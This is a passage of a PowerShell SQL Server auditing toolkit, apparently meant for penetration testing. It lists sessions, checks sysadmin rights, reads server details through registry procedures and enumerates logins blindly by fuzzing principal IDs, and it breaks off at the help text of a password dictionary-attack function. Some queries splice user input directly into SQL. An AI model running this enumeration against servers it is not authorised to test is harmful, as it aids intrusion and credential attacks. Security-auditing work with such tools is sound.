| [string]$Instance, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipeline = $true, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'IP Address of SQL Server.')] | |
| [string]$IPAddress, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'IP Address Range In CIDR Format to Audit.')] | |
| [string]$IPRange, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Connect using Dedicated Admin Connection.')] | |
| [Switch]$DAC, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Default database to connect to.')] | |
| [String]$Database, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Connection timeout.')] | |
| [string]$TimeOut, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] | |
| [switch]$SuppressVerbose | |
| ) | |
| Begin | |
| { | |
| # Setup data table for output | |
| $TblResults = New-Object -TypeName System.Data.DataTable | |
| $null = $TblResults.Columns.Add('ComputerName') | |
| $null = $TblResults.Columns.Add('Instance') | |
| $null = $TblResults.Columns.Add('Status') | |
| } | |
| Process | |
| { | |
| # Default connection to local default instance | |
| if(-not $Instance) | |
| { | |
| $Instance = $env:COMPUTERNAME | |
| } | |
| # Split Demarkation Start ^ | |
| # Parse computer name from the instance | |
| $ComputerName = Get-ComputerNameFromInstance -Instance $Instance | |
| if($IPRange -and $IPAddress) | |
| { | |
| if ($IPAddress.Contains(",")) | |
| { | |
| $ContainsValid = $false | |
| foreach ($IP in $IPAddress.Split(",")) | |
| { | |
| if($(Test-Subnet -cidr $IPRange -ip $IP)) | |
| { | |
| $ContainsValid = $true | |
| } | |
| } | |
| if (-not $ContainsValid) | |
| { | |
| Write-Warning "Skipping $ComputerName ($IPAddress)" | |
| $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Out of Scope') | |
| return | |
| } | |
| } | |
| if(-not $(Test-Subnet -cidr $IPRange -ip $IPAddress)) | |
| { | |
| Write-Warning "Skipping $ComputerName ($IPAddress)" | |
| $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Out of Scope') | |
| return | |
| } | |
| Write-Verbose "$ComputerName ($IPAddress)" | |
| } | |
| # Setup DAC string | |
| if($DAC) | |
| { | |
| # Create connection object | |
| $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database | |
| } | |
| else | |
| { | |
| # Create connection object | |
| $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database | |
| } | |
| # Attempt connection | |
| try | |
| { | |
| # Open connection | |
| $Connection.Open() | |
| if(-not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Success." | |
| } | |
| # Add record | |
| $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') | |
| # Close connection | |
| $Connection.Close() | |
| # Dispose connection | |
| $Connection.Dispose() | |
| } | |
| catch | |
| { | |
| # Connection failed | |
| if(-not $SuppressVerbose) | |
| { | |
| $ErrorMessage = $_.Exception.Message | |
| Write-Verbose -Message "$Instance : Connection Failed." | |
| Write-Verbose -Message " Error: $ErrorMessage" | |
| } | |
| # Add record | |
| $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') | |
| } | |
| } | |
| End | |
| { | |
| # Return Results | |
| $TblResults | |
| } | |
| } | |
| Function Get-SQLSession | |
| { | |
| <# | |
| .SYNOPSIS | |
| Returns active sessions from target SQL Servers. Sysadmin privileges is required to view all sessions. | |
| .PARAMETER Username | |
| SQL Server or domain account to authenticate with. | |
| .PARAMETER Password | |
| SQL Server or domain account password to authenticate with. | |
| .PARAMETER Credential | |
| SQL Server credential. | |
| .PARAMETER Instance | |
| SQL Server instance to connection to. | |
| .EXAMPLE | |
| PS C:\> Get-SQLSession -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1 | |
| ComputerName : SQLServer1 | |
| Instance : SQLServer1\STANDARDDEV2014 | |
| PrincipalSid : 010500000000000515000000F3864312345716CC636051C017100000 | |
| PrincipalName : Domain\MyUser | |
| OriginalPrincipalName : Domain\MyUser | |
| SessionId : 51 | |
| SessionStartTime : 06/24/2016 09:26:21 | |
| SessionLoginTime : 06/24/2016 09:26:21 | |
| SessionStatus : running | |
| .EXAMPLE | |
| PS C:\> Get-SQLInstanceDomain | Get-SQLSession -Verbose | |
| .EXAMPLE | |
| PS C:\> (Get-SQLSession -Instance SQLServer1\STANDARDDEV2014).count | |
| 48 | |
| #> | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server or domain account to authenticate with.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server or domain account password to authenticate with.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Windows credentials.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server instance to connection to.')] | |
| [string]$Instance, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipeline = $true, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'PrincipalName.')] | |
| [string]$PrincipalName, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] | |
| [switch]$SuppressVerbose | |
| ) | |
| Begin | |
| { | |
| # Table for output | |
| $TblSessions = New-Object -TypeName System.Data.DataTable | |
| $null = $TblSessions.Columns.Add('ComputerName') | |
| $null = $TblSessions.Columns.Add('Instance') | |
| $null = $TblSessions.Columns.Add('PrincipalSid') | |
| $null = $TblSessions.Columns.Add('PrincipalName') | |
| $null = $TblSessions.Columns.Add('OriginalPrincipalName') | |
| $null = $TblSessions.Columns.Add('SessionId') | |
| $null = $TblSessions.Columns.Add('SessionStartTime') | |
| $null = $TblSessions.Columns.Add('SessionLoginTime') | |
| $null = $TblSessions.Columns.Add('SessionStatus') | |
| # Setup PrincipalName filter | |
| if($PrincipalName) | |
| { | |
| $PrincipalNameFilter = " and login_name like '$PrincipalName'" | |
| } | |
| else | |
| { | |
| $PrincipalNameFilter = '' | |
| } | |
| } | |
| Process | |
| { | |
| # Note: Tables queried by this function typically require sysadmin privileges to view sessions that aren't yours. | |
| # Parse computer name from the instance | |
| $ComputerName = Get-ComputerNameFromInstance -Instance $Instance | |
| # Default connection to local default instance | |
| if(-not $Instance) | |
| { | |
| $Instance = $env:COMPUTERNAME | |
| } | |
| # Test connection to instance | |
| $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { | |
| $_.Status -eq 'Accessible' | |
| } | |
| if($TestConnection) | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Success." | |
| } | |
| } | |
| else | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Failed." | |
| } | |
| return | |
| } | |
| # Define Query | |
| $Query = " USE master; | |
| SELECT '$ComputerName' as [ComputerName], | |
| '$Instance' as [Instance], | |
| security_id as [PrincipalSid], | |
| login_name as [PrincipalName], | |
| original_login_name as [OriginalPrincipalName], | |
| session_id as [SessionId], | |
| last_request_start_time as [SessionStartTime], | |
| login_time as [SessionLoginTime], | |
| status as [SessionStatus] | |
| FROM [sys].[dm_exec_sessions] | |
| ORDER BY status | |
| $PrincipalNameFilter" | |
| # Execute Query | |
| $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | |
| # Update sid formatting for each record | |
| $TblResults | | |
| ForEach-Object -Process { | |
| # Format principal sid | |
| $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') | |
| if ($NewSid.length -le 10) | |
| { | |
| $Sid = [Convert]::ToInt32($NewSid,16) | |
| } | |
| else | |
| { | |
| $Sid = $NewSid | |
| } | |
| # Add results to table | |
| $null = $TblSessions.Rows.Add( | |
| [string]$_.ComputerName, | |
| [string]$_.Instance, | |
| $Sid, | |
| [string]$_.PrincipalName, | |
| [string]$_.OriginalPrincipalName, | |
| [string]$_.SessionId, | |
| [string]$_.SessionStartTime, | |
| [string]$_.SessionLoginTime, | |
| [string]$_.SessionStatus) | |
| } | |
| } | |
| End | |
| { | |
| # Return data | |
| $TblSessions | |
| } | |
| } | |
| Function Get-SQLSysadminCheck | |
| { | |
| <# | |
| .SYNOPSIS | |
| Check if login is has sysadmin privilege on the target SQL Servers. | |
| .PARAMETER Username | |
| SQL Server or domain account to authenticate with. | |
| .PARAMETER Password | |
| SQL Server or domain account password to authenticate with. | |
| .PARAMETER Credential | |
| SQL Server credential. | |
| .PARAMETER Instance | |
| SQL Server instance to connection to. | |
| .EXAMPLE | |
| PS C:\> Get-SQLSysadminCheck -Instance SQLServer1\STANDARDDEV2014 | |
| ComputerName Instance IsSysadmin | |
| ------------ -------- ---------- | |
| SQLServer1 SQLServer1\STANDARDDEV2014 Yes | |
| .EXAMPLE | |
| PS C:\> Get-SQLInstanceDomain | Get-SQLStoredProcure -Verbose -NoDefaults | |
| #> | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'SQL Server or domain account to authenticate with.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'SQL Server or domain account password to authenticate with.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Windows credentials.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server instance to connection to.')] | |
| [string]$Instance, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] | |
| [switch]$SuppressVerbose | |
| ) | |
| Begin | |
| { | |
| # Data for output | |
| $TblSysadminStatus = New-Object -TypeName System.Data.DataTable | |
| # Setup CredentialName filter | |
| if($CredentialName) | |
| { | |
| $CredentialNameFilter = " WHERE name like '$CredentialName'" | |
| } | |
| else | |
| { | |
| $CredentialNameFilter = '' | |
| } | |
| } | |
| Process | |
| { | |
| # Parse computer name from the instance | |
| $ComputerName = Get-ComputerNameFromInstance -Instance $Instance | |
| # Default connection to local default instance | |
| if(-not $Instance) | |
| { | |
| $Instance = $env:COMPUTERNAME | |
| } | |
| # Test connection to instance | |
| $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { | |
| $_.Status -eq 'Accessible' | |
| } | |
| if($TestConnection) | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Success." | |
| } | |
| } | |
| else | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Failed." | |
| } | |
| return | |
| } | |
| # Define Query | |
| $Query = "SELECT '$ComputerName' as [ComputerName], | |
| '$Instance' as [Instance], | |
| CASE | |
| WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' | |
| ELSE 'Yes' | |
| END as IsSysadmin" | |
| # Execute Query | |
| $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | |
| # Append results | |
| $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp | |
| } | |
| End | |
| { | |
| # Return data | |
| $TblSysadminStatus | |
| } | |
| } | |
| Function Get-SQLServerInfo | |
| { | |
| <# | |
| .SYNOPSIS | |
| Returns basic server and user information from target SQL Servers. | |
| .PARAMETER Username | |
| SQL Server or domain account to authenticate with. | |
| .PARAMETER Password | |
| SQL Server or domain account password to authenticate with. | |
| .PARAMETER Credential | |
| SQL Server credential. | |
| .PARAMETER Instance | |
| SQL Server instance to connection to. | |
| .EXAMPLE | |
| PS C:\> Get-SQLServerInfo -Instance SQLServer1\STANDARDDEV2014 | |
| ComputerName : SQLServer1 | |
| Instance : SQLServer1\STANDARDDEV2014 | |
| DomainName : Domain | |
| ServiceProcessId : 6758 | |
| ServiceName : MSSQL$STANDARDDEV2014 | |
| ServiceAccount : LocalSystem | |
| AuthenticationMode : Windows and SQL Server Authentication | |
| Clustered : No | |
| SQLServerVersionNumber : 12.0.4213.0 | |
| SQLServerMajorVersion : 2014 | |
| SQLServerEdition : Developer Edition (64-bit) | |
| SQLServerServicePack : SP1 | |
| OSArchitecture : X64 | |
| OsMachineType : WinNT | |
| OSVersionName : Windows 8.1 Pro | |
| OsVersionNumber : 6.3 | |
| Currentlogin : Domain\MyUser | |
| IsSysadmin : Yes | |
| ActiveSessions : 1 | |
| .EXAMPLE | |
| PS C:\> Get-SQLInstanceLocal | Get-SQLServerInfo -Verbose | |
| #> | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'SQL Server or domain account to authenticate with.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'SQL Server or domain account password to authenticate with.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Windows credentials.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server instance to connection to.')] | |
| [string]$Instance, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] | |
| [switch]$SuppressVerbose | |
| ) | |
| Begin | |
| { | |
| # Table for output | |
| $TblServerInfo = New-Object -TypeName System.Data.DataTable | |
| } | |
| Process | |
| { | |
| # Parse computer name from the instance | |
| $ComputerName = Get-ComputerNameFromInstance -Instance $Instance | |
| # Default connection to local default instance | |
| if(-not $Instance) | |
| { | |
| $Instance = $env:COMPUTERNAME | |
| } | |
| # Test connection to instance | |
| $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { | |
| $_.Status -eq 'Accessible' | |
| } | |
| if($TestConnection) | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Success." | |
| } | |
| } | |
| else | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Failed." | |
| } | |
| return | |
| } | |
| # Get number of active sessions for server | |
| $ActiveSessions = Get-SQLSession -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | | |
| Where-Object -FilterScript { | |
| $_.SessionStatus -eq 'running' | |
| } | | |
| Measure-Object -Line | | |
| Select-Object -Property Lines -ExpandProperty Lines | |
| # Get sysadmin status | |
| $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin | |
| if($IsSysadmin -eq 'Yes') | |
| { | |
| # Grab additional information if sysadmin | |
| $SysadminSetup = " | |
| -- Get machine type | |
| DECLARE @MachineType SYSNAME | |
| EXECUTE master.dbo.xp_regread | |
| @rootkey = N'HKEY_LOCAL_MACHINE', | |
| @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', | |
| @value_name = N'ProductType', | |
| @value = @MachineType output | |
| -- Get OS version | |
| DECLARE @ProductName SYSNAME | |
| EXECUTE master.dbo.xp_regread | |
| @rootkey = N'HKEY_LOCAL_MACHINE', | |
| @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', | |
| @value_name = N'ProductName', | |
| @value = @ProductName output" | |
| $SysadminQuery = ' @MachineType as [OsMachineType], | |
| @ProductName as [OSVersionName],' | |
| } | |
| else | |
| { | |
| $SysadminSetup = '' | |
| $SysadminQuery = '' | |
| } | |
| # Define Query | |
| $Query = " -- Get SQL Server Information | |
| -- Get SQL Server Service Name and Path | |
| DECLARE @SQLServerInstance varchar(250) | |
| DECLARE @SQLServerServiceName varchar(250) | |
| if @@SERVICENAME = 'MSSQLSERVER' | |
| BEGIN | |
| set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' | |
| set @SQLServerServiceName = 'MSSQLSERVER' | |
| END | |
| ELSE | |
| BEGIN | |
| set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) | |
| set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) | |
| END | |
| -- Get SQL Server Service Account | |
| DECLARE @ServiceaccountName varchar(250) | |
| EXECUTE master.dbo.xp_instance_regread | |
| N'HKEY_LOCAL_MACHINE', @SQLServerInstance, | |
| N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' | |
| -- Get authentication mode | |
| DECLARE @AuthenticationMode INT | |
| EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', | |
| N'Software\Microsoft\MSSQLServer\MSSQLServer', | |
| N'LoginMode', @AuthenticationMode OUTPUT | |
| -- Get the forced encryption flag | |
| BEGIN TRY | |
| DECLARE @ForcedEncryption INT | |
| EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', | |
| N'SOFTWARE\MICROSOFT\Microsoft SQL Server\MSSQLServer\SuperSocketNetLib', | |
| N'ForceEncryption', @ForcedEncryption OUTPUT | |
| END TRY | |
| BEGIN CATCH | |
| END CATCH | |
| -- Grab additional information as sysadmin | |
| $SysadminSetup | |
| -- Return server and version information | |
| SELECT '$ComputerName' as [ComputerName], | |
| @@servername as [Instance], | |
| DEFAULT_DOMAIN() as [DomainName], | |
| SERVERPROPERTY('processid') as ServiceProcessID, | |
| @SQLServerServiceName as [ServiceName], | |
| @ServiceAccountName as [ServiceAccount], | |
| (SELECT CASE @AuthenticationMode | |
| WHEN 1 THEN 'Windows Authentication' | |
| WHEN 2 THEN 'Windows and SQL Server Authentication' | |
| ELSE 'Unknown' | |
| END) as [AuthenticationMode], | |
| @ForcedEncryption as ForcedEncryption, | |
| CASE SERVERPROPERTY('IsClustered') | |
| WHEN 0 | |
| THEN 'No' | |
| ELSE 'Yes' | |
| END as [Clustered], | |
| SERVERPROPERTY('productversion') as [SQLServerVersionNumber], | |
| SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion], | |
| serverproperty('Edition') as [SQLServerEdition], | |
| SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack], | |
| SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture], | |
| $SysadminQuery | |
| RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber], | |
| SYSTEM_USER as [Currentlogin], | |
| '$IsSysadmin' as [IsSysadmin], | |
| '$ActiveSessions' as [ActiveSessions]" | |
| # Execute Query | |
| $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | |
| # Append as needed | |
| $TblServerInfo = $TblServerInfo + $TblServerInfoTemp | |
| } | |
| End | |
| { | |
| # Return data | |
| $TblServerInfo | |
| } | |
| } | |
| Function Get-SQLFuzzServerLogin | |
| { | |
| <# | |
| .SYNOPSIS | |
| Enumerates SQL Server Logins based on login id using SUSER_NAME() and only the Public role. | |
| .PARAMETER Username | |
| SQL Server or domain account to authenticate with. | |
| .PARAMETER Password | |
| SQL Server or domain account password to authenticate with. | |
| .PARAMETER Credential | |
| SQL Server credential. | |
| .PARAMETER Instance | |
| SQL Server instance to connection to. | |
| .PARAMETER FuzzNum | |
| The number of Principal IDs to fuzz during blind SQL login enumeration as a least privilege login. | |
| .PARAMETER GetRole | |
| Checks if the principal name is a role, SQL login, or Windows account. | |
| .EXAMPLE | |
| PS C:\> Get-SQLFuzzServerLogin -Instance SQLServer1\STANDARDDEV2014 -StartId 1 -EndId 500 | Select-Object -First 40 | |
| ComputerName Instance PrincipalId PrincipleName | |
| ------------ -------- ---------- ------------- | |
| SQLServer1 SQLServer1\STANDARDDEV2014 1 sa | |
| SQLServer1 SQLServer1\STANDARDDEV2014 2 public | |
| SQLServer1 SQLServer1\STANDARDDEV2014 3 sysadmin | |
| SQLServer1 SQLServer1\STANDARDDEV2014 4 securityadmin | |
| SQLServer1 SQLServer1\STANDARDDEV2014 5 serveradmin | |
| SQLServer1 SQLServer1\STANDARDDEV2014 6 setupadmin | |
| SQLServer1 SQLServer1\STANDARDDEV2014 7 processadmin | |
| SQLServer1 SQLServer1\STANDARDDEV2014 8 diskadmin | |
| SQLServer1 SQLServer1\STANDARDDEV2014 9 dbcreator | |
| SQLServer1 SQLServer1\STANDARDDEV2014 10 bulkadmin | |
| SQLServer1 SQLServer1\STANDARDDEV2014 101 ##MS_SQLResourceSigningCertificate## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 102 ##MS_SQLReplicationSigningCertificate## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 103 ##MS_SQLAuthenticatorCertificate## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 105 ##MS_PolicySigningCertificate## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 106 ##MS_SmoExtendedSigningCertificate## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 121 ##Agent XPs## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 122 ##SQL Mail XPs## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 123 ##Database Mail XPs## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 124 ##SMO and DMO XPs## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 125 ##Ole Automation Procedures## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 126 ##Web Assistant Procedures## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 127 ##xp_cmdshell## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 128 ##Ad Hoc Distributed Queries## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 129 ##Replication XPs## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 257 ##MS_PolicyTsqlExecutionLogin## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 259 Domain\User | |
| SQLServer1 SQLServer1\STANDARDDEV2014 260 NT SERVICE\SQLWriter | |
| SQLServer1 SQLServer1\STANDARDDEV2014 261 NT SERVICE\Winmgmt | |
| SQLServer1 SQLServer1\STANDARDDEV2014 262 NT Service\MSSQL$STANDARDDEV2014 | |
| SQLServer1 SQLServer1\STANDARDDEV2014 263 NT AUTHORITY\SYSTEM | |
| SQLServer1 SQLServer1\STANDARDDEV2014 264 NT SERVICE\SQLAgent$STANDARDDEV2014 | |
| SQLServer1 SQLServer1\STANDARDDEV2014 265 NT SERVICE\ReportServer$STANDARDDEV2014 | |
| SQLServer1 SQLServer1\STANDARDDEV2014 266 ##MS_PolicyEventProcessingLogin## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 267 ##MS_AgentSigningCertificate## | |
| SQLServer1 SQLServer1\STANDARDDEV2014 268 MySQLUser1 | |
| SQLServer1 SQLServer1\STANDARDDEV2014 270 MySQLUser2 | |
| SQLServer1 SQLServer1\STANDARDDEV2014 271 MySQLUser3 | |
| SQLServer1 SQLServer1\STANDARDDEV2014 272 MySysadmin1 | |
| SQLServer1 SQLServer1\STANDARDDEV2014 273 Domain\User2 | |
| SQLServer1 SQLServer1\STANDARDDEV2014 274 MySysadmin2 | |
| #> | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server or domain account to authenticate with.')] | |
| [string]$Username, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server or domain account password to authenticate with.')] | |
| [string]$Password, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Windows credentials.')] | |
| [System.Management.Automation.PSCredential] | |
| [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
| [Parameter(Mandatory = $false, | |
| ValueFromPipelineByPropertyName = $true, | |
| HelpMessage = 'SQL Server instance to connection to.')] | |
| [string]$Instance, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Number of Principal IDs to fuzz.')] | |
| [string]$FuzzNum = 10000, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Try to determine if the principal type is role, SQL login, or Windows account via error analysis of sp_defaultdb.')] | |
| [switch]$GetPrincipalType, | |
| [Parameter(Mandatory = $false, | |
| HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] | |
| [switch]$SuppressVerbose | |
| ) | |
| Begin | |
| { | |
| # Table for output | |
| $TblFuzzedLogins = New-Object -TypeName System.Data.DataTable | |
| $null = $TblFuzzedLogins.Columns.add('ComputerName') | |
| $null = $TblFuzzedLogins.Columns.add('Instance') | |
| $null = $TblFuzzedLogins.Columns.add('PrincipalId') | |
| $null = $TblFuzzedLogins.Columns.add('PrincipleName') | |
| if($GetPrincipalType) | |
| { | |
| $null = $TblFuzzedLogins.Columns.add('PrincipleType') | |
| } | |
| } | |
| Process | |
| { | |
| # Parse computer name from the instance | |
| $ComputerName = Get-ComputerNameFromInstance -Instance $Instance | |
| # Default connection to local default instance | |
| if(-not $Instance) | |
| { | |
| $Instance = $env:COMPUTERNAME | |
| } | |
| # Test connection to instance | |
| $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { | |
| $_.Status -eq 'Accessible' | |
| } | |
| if($TestConnection) | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Success." | |
| Write-Verbose -Message "$Instance : Enumerating principal names from $FuzzNum principal IDs.." | |
| } | |
| } | |
| else | |
| { | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Connection Failed." | |
| } | |
| return | |
| } | |
| # Define Query | |
| # Reference: https://gist.github.com/ConstantineK/c6de5d398ec43bab1a29ef07e8c21ec7 | |
| $Query = " | |
| SELECT | |
| '$ComputerName' as [ComputerName], | |
| '$Instance' as [Instance], | |
| n [PrincipalId], SUSER_NAME(n) as [PrincipleName] | |
| from ( | |
| select top $FuzzNum row_number() over(order by t1.number) as N | |
| from master..spt_values t1 | |
| cross join master..spt_values t2 | |
| ) a | |
| where SUSER_NAME(n) is not null" | |
| # Execute Query | |
| $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | |
| # Process results | |
| $TblResults | | |
| ForEach-Object { | |
| # check if principal is role, sql login, or windows account | |
| $PrincipalName = $_.PrincipleName | |
| $PrincipalId = $_.PrincipalId | |
| if($GetPrincipalType) | |
| { | |
| $RoleCheckQuery = "EXEC master..sp_defaultdb '$PrincipalName', 'NOTAREALDATABASE1234ABCD'" | |
| $RoleCheckResults = Get-SQLQuery -Instance $Instance -Query $RoleCheckQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -ReturnError | |
| # Check the error message for a signature that means the login is real | |
| if (($RoleCheckResults -like '*NOTAREALDATABASE*') -or ($RoleCheckResults -like '*alter the login*')) | |
| { | |
| if($PrincipalName -like '*\*') | |
| { | |
| $PrincipalType = 'Windows Account' | |
| } | |
| else | |
| { | |
| $PrincipalType = 'SQL Login' | |
| } | |
| } | |
| else | |
| { | |
| $PrincipalType = 'SQL Server Role' | |
| } | |
| } | |
| # Add to result set | |
| if($GetPrincipalType) | |
| { | |
| $null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName, $PrincipalType) | |
| } | |
| else | |
| { | |
| $null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName) | |
| } | |
| } | |
| } | |
| End | |
| { | |
| # Return data | |
| $TblFuzzedLogins | Where-Object -FilterScript { | |
| $_.PrincipleName.length -ge 2 | |
| } | |
| if( -not $SuppressVerbose) | |
| { | |
| Write-Verbose -Message "$Instance : Complete." | |
| } | |
| } | |
| } | |
| Function Invoke-SQLAuditWeakLoginPw | |
| { | |
| <# | |
| .SYNOPSIS | |
| Perform dictionary attack for common passwords. By default, it will enumerate | |
| SQL Server logins and the current login and test for "username" as password | |
| for each enumerated login. | |
| .PARAMETER Username | |
| Known SQL Server login to obtain a list of logins with for testing. | |
| .PARAMETER TestUsername | |
| SQL Server or domain account to authenticate with. | |
| .PARAMETER UserFile | |
| Path to list of users to use. One per line. | |
| .PARAMETER Password | |
| Known SQL Server login password to obtain a list of logins with for testing. | |
| .PARAMETER TestPassword | |
| Password to test provided or discovered logins with. | |
| .PARAMETER PassFile | |
| Path to list of password to use. One per line. | |
| .PARAMETER Credential | |
| SQL Server credential. | |
| .PARAMETER Instance | |
| SQL Server instance to connection to. | |
| .PARAMETER NoUserAsPass | |
| Don't try to login using the login name as the password. | |
| .PARAMETER NoUserEnum | |
| Don't try to enumerate logins to test. | |
| .PARAMETER FuzzNum | |
| The number of Principal IDs to fuzz during blind SQL login enumeration as a least privilege login. | |
| .PARAMETER Exploit | |
| Exploit vulnerable issues. | |
| .EXAMPLE | |
